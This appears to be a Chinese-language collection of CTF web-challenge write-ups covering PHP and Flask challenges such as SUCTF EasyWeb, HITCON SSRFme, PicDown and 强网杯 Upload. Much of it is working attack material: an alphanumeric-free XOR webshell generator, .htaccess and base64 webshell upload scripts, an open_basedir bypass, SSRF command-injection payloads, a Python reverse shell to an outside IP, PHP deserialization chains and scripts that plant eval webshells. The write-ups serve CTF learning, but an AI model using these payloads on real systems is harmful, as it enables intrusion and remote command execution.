无感情的刷题机器

[SUCTF 2019]EasyWeb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

考点一:

构造不包含数字和字母的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); \\dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l`$r\}";
?>

这里的话我们异或只能构造GET型,POST不行

然后配合

1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&ff=phpinfo

,可以执行一些函数。

考点二:

参考链接
https://www.dazhuanlan.com/2019/12/17/5df803f62c08a/

nginx的服务器,而且上传目录下有一个php文件,所以上窜.user.ini
apache的服务器,应该上传.htaccess
两个要注意的点是:

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:

1
2
#define width 1337
#define height 1337

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型)
x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
这里的php是7.2的版本,无法使用

1
<script language="php"></script>

来绕过对<?的检测
ps:
可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
我们这里的解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:

1
2
3
4
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"

shell.abc:

1
GIF89a12PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==

这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的贴一个上传的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

知识点三

绕过open_basedir/disable_function

1
2
3
4
5
6
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。

所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
payload

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag'));

解题

[BJDCTF2020]EzPHP

1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

[HITCON 2017]SSRFme

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

方法一: file 协议利用 open 命令执行
要执行的命令先前必须要有以命令为文件名的文件存在
所以需要执行两次payload

1
?url=file:ls /|&filename=ls /| #两次

管道符好像必须要加,

1
http://efc32bf2-e10f-4e22-bdf0-9a17856f32f0.node3.buuoj.cn/sandbox/fcf2bccafc269c160382150a0166d632/ls /|

然后readflag,如果直接/readflag的话,那么会在服务器的根目录创建这个文件,而不是在网站的那个目录,所以是无法命令执行的,所以可以用bash -c 相当于./readflag,而根据php字符解析特性,如果直接将./readflag传入,那么.就会变成下划线,从而不能命令执行。直接bash的话好像是只能bash 有sh后缀的文件,所以不能用。

1
?url=file:bash -c /readflag|&filename=bash -c /readflag|

方法二:

在vps写入一个马
ma.txt

1
一句话

payload

1
?filename=ma.php&url=vps.ip/ma.txt

[b01lers2020]Welcome to Earth

[HarekazeCTF2019]encode_and_encode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');
$json = json_decode($body, true);

if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

payload

可以用unicode编码绕过

1
{"page":"p\u0068\u0070://filter/read=convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

[网鼎杯 2020 白虎组]PicDown

存在任意文件读取
非预期可直接读flag

1
../../../../flag

预期

读取/proc/self/environ 读取进程运行的环境变量

/proc/self/cmdline 读取当前进程运行的命令

读取../../../../../app/app.py源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

可以看到no_one_know_the_manager中要匹配SECRET_KEY,然后执行shell,但是SECRET_KEY所在的secret.txt被删掉了
此处可以通过/proc/pid/fd/读取,这个目录包含了进程打开的每一个文件的链接

执行命令后无回显,本地使用python反弹shell

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.145',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

[watevrCTF-2019]Cookie Store

点击买flag,修改cooke的session的base64解码后的参数为200,在返回的history中解码后,即可得flag。

[WUSTCTF2020]CV Maker

注册一个用户登录后,直接上传php类型的文件。

[BJDCTF2020]EzPHP

知识点

1
2
3
4
5
6
7
base32
url编码绕过
preg_match在非/s模式下的绕过
$_POST和$_GET的优先级
PHP伪协议。
sha1函数的数组绕过。
create_function()的代码注入

页面源码 找到一个base32的字符串,解码得1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

[强网杯 2019]Upload

存在:/www.tar.gz

Profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
namespace app\web\controller;

use think\Controller;

class Profile extends Controller
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->checker=new Index();
$this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if(!is_dir($this->upload_menu)){
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

public function update_img(){
$user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
if(empty($user_info['img']) && $this->img){
if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
$this->update_cookie();
$this->success('Upload img successful!', url('../home'));
}else{
$this->error('Upload file failed!', url('../index'));
}
}
}

public function update_cookie(){
$this->checker->profile['img']=$this->img;
cookie("user",base64_encode(serialize($this->checker->profile)),3600);
}

public function ext_check(){
$ext_arr=explode(".",$this->filename);
$this->ext=end($ext_arr);
if($this->ext=="png"){
return 1;
}else{
return 0;
}
}

public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

}

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
namespace app\web\controller;


class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}

class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

}

$p=new Profile();
$r=new Register();
$p->img="upload_img";
$p->except=["index"=>"img"];
$p->ext="png";
$p->filename_tmp="../public/upload/d99081fe929b750e0557f85e6499103f/0fd406e401da2c937bd181b6c16c0083.png";
$p->filename="../public/upload/d99081fe929b750e0557f85e6499103f/0fd406e401da2c937bd181b6c16c0083.php";

$r->checker=$p;
$r->registed=false;
echo urlencode(base64_encode(serialize($r)));
?>

[网鼎杯2018]Unfinish

[GYCTF2020]Easyphp

[MRCTF2020]Ezaudit

[GXYCTF2019]StrongestMind

保持同一会话运算一千次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from requests import *
import re

url = "http://3966ac42-b1a5-413c-851a-a241e5fa25ff.node3.buuoj.cn/index.php"
s = session()
rr = re.compile(r"[0-9]+ [+|-] [0-9]+")

r = s.get(url)
r.encoding = "utf-8"
data = {"answer":eval(rr.findall(r.text)[0])}
r = s.post(url,data=data)

for i in range(1000):
answer = eval(rr.findall(r.text)[0])
data = { "answer" : answer }
r = s.post( url , data=data)
r.encoding = "utf-8"
print('[+%d]:'%(i) + str(answer))

print(r.text)

[安洵杯 2019]不是文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>

show.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}

if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}

$a = new helper();
?>

show.php有对图片的宽和高反序列化操作,不过,图片的宽和高我们无法控制,唯一可以控制的只有title参数,这里存在着insert注入。

1
2
3
4
5
6
7
8
9
<?php
class helper
{
protected $ifview = True;
protected $config = "/flag";
}
$s=serialize(new helper());
echo str_replace(chr(0).'*'.chr(0),'\0\0\0',$s);
# O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

因为上传的文件名中不能有双引号,所以将payload进行16进制编码。

[RoarCTF 2019]Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
1
2
3
4
5
6
7
8
9
10
        $uploadFile = $_FILES['file'] ;    

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
```
这个部分只会检测上传的文件file的后缀,而不会检测其他上传的文件的后缀。
而upload函数本省是可以批量上传的。

原题中:

$upload->allowExts = array(‘jpg’, ‘gif’, ‘png’, ‘jpeg’);// 设置附件上传类型
这里设置是无效的,thinkphp 3.2中设置允许上传的文件后缀应该写为:

$upload->exts = array(‘jpg’, ‘gif’, ‘png’, ‘jpeg’);// 设置附件上传类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
此处摘抄自thinkphp3.2官网

综上,压根就没有对上传文件做严格的检测,我们甚至只需要上传一个input标签name值不为file都行,只是这样的话,后端不会返回文件路径,所以需要上传一个正常的图片来猜测uniqid函数返回文件路径的大致范围。

方法一:
```php

import requests
import time
import json
#上传文件
url = 'http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/index.php/Home/Index/upload'
file1 = {'file':('1.txt','r')}
file2 = {'file[]':('1.php','r')} #upload()不传参时即是批量上传所以用[]

r = requests.post(url,files = file1)
print(r.text)

r = requests.post(url,files = file2)
print(r.text)

r = requests.post(url, files = file1)
print(r.text)


#猜测文件位置

url = "http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
print(param)
t1 = int(t1, 16)

j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#规避过于频繁访问导致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print(path)
print(r.text)
break
#print(j, path, r.status_code)
j -= 1

方法二:

1
2
3
4
5
6
7
import requests

url = "http://e54d31dd-efb4-45da-8512-f7387193b5a6.node3.buuoj.cn/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)

[SUCTF 2018]GetShell

[HarekazeCTF2019]Avatar Uploader 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// check file type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($type, ['image/png'])) {
error('Uploaded file is not PNG format.');
}

// check file width/height
$size = getimagesize($_FILES['file']['tmp_name']);
if ($size[0] > 256 || $size[1] > 256) {
error('Uploaded image is too large.');
}
if ($size[2] !== IMAGETYPE_PNG) {
// I hope this never happens...
error('What happened...? OK, the flag for part 1 is: <code>' . getenv('FLAG1') . '</code>');
}

用finfo去判断图片类型。必须是image/png
接着用getimagesize去判断图片大小
并且图片类型不能是PNG

图片破坏后。只留下一个文件头。getimagesize就读取不到它的文件宽高和类型了
那么就可以绕过getimagesize的判断
而finfo_file照样可以识别出这是个PNG图片 。

[DDCTF 2019]homebrew event loop

1
?action:trigger_event%23;action:buy;5%23action:get_flag;

https://www.cnblogs.com/wangtanzhi/p/12309335.html

UserController.php

1
2
3
4
5
6
7
8
9
10
class UserController extends BaseController
{
……
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}

}

BaseController.php,loadView存在变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class BaseController
{
/*
* 加载视图文件
* viewName 视图名称
* viewData 视图分配数据
*/
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}

}

userIndex.php 此次存在文件读取,可利用上面的变量覆盖,将$img_file赋值为flag.php

1
2
3
4
5
6
7
8
<?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?>

[CISCN2019 华东北赛区]Web2

[ISITDTU 2019]EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

解题

1
2
3
\x00- 0-9                       匹配\x00到空格(\x20),0-9的数字
'"`$&.,|[{_defgops 匹配这些字符
\x7F 匹配DEL(\x7F)字符

匹配到以上字符就die掉

1
2
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

当mode=3: 会返回包含所有用过的不同字符的字符串,这里不能超过13种字符

先看一下有哪些内置函数可以使用

1
2
3
4
5
6
7
8
<?php
$array=get_defined_functions();
print_r($array);
foreach($array['internal'] as $arr){
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr."\n");
}

result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
bcmul
rtrim
trim
ltrim
chr
link
unlink
tan
atan
atanh
tanh
intval
mail
min
max

使用异或绕过

1
2
C:\Users\Administrator>php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90

使用^绕过

1
print_r(scandir(.));=((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

读文件内容

1
